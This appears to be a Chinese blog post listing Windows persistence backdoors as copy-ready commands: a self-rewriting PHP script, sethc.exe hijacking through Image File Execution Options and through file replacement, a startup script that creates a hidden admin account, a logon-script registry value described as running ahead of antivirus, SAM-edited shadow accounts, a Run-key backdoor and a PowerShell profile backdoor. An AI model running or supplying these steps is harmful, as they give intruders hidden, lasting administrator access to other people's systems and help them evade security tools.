windows基本权限维持手法

windows维权

php不死马

<?php
    ignore_user_abort();//关掉浏览器php脚本也执行
	set_time_limit(0);//无限制执行
	$interval = 5;//每隔5秒运行
do{
    $filename = 'test.php';
    if(file_exists(filename)){
        echo "xxx";
    }
    else {
        $file = fopen("test.php", "w");
        $txt = "<?php phpinfo();?>\n";
    fwrite($file, $txt);
    fclose($file);
    }
    sleep($interval);
} while(true);
?>

映像劫持

#win+R
regdeit
#注册表进入此目录
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
#新建项sethc.exe
#新建字符串值Debugger填入
C:\Windows\System32\cmd.exe
#桌面新建backdoor.exe打开即为cmd

#cmd
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

策略组脚本

#win+R
gpedit.msc
#打开计算机配置,windows设置,脚本(启动/关机)
#启动中添加.bat文件
@echo off
net user hack$ 123456 /add && net localgroup administrators hack$ /add
#每次重启会运行

shift后门

如果按五次shift会弹出粘滞键

#cmd
#进入粘滞键sethc目录
cd c:\windows\system32\sethc.exe
#原版sethc做备份
move sethc.exe sethc.exe.bak
#cmd伪造为sethc
copy cmd.exe sethc.exe

LogonScript

用户登录时触发登录脚本,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截

#进入\HKEY_CURRENT_USER\Environment新建字符串值UserInitMprLogonScript修改数据为后门
#cmd
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\shell.exe"(自己创建的后门exe)

影子账户

user 加上后缀 加上后缀 加上后缀cmd命令无法查到

#cmd
net user hack$ QWEasd123 /add
net localgroup administrators test$ /add
#创建cmd隐藏账号

#win+R
regedit
进入HKEY_LOCAL_MACHINE\SAM\SAM设置权限administrator完全控制
进入HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
将隐藏账号hack$导出
进入HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
将01F4和hack$默认值导出
01F4中的F值替换hack$默认值
双击导入创建成功

启动后门

#注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
新建字符串值test1
填写数据c:\shell.exe

#cmd
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test1 /t REG_SZ /d "C:\shell.exe"

powershell配置文件后门

#查看是否存在配置文件
echo $profile
#返回false
test-path $profile
#强制创建
New-Item –Path $Profile –Type File –Force   
#创建bat文件
net user longwa 123456 /add & net localgroup administrators longwa /add
#创建变量spring
$string = 'Start-Process "C:\1.bat"'
#把变量$string内容写入到配置文件
$string | Out-File -FilePath $profile -Append   
#powershell再次被打开就会执行
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值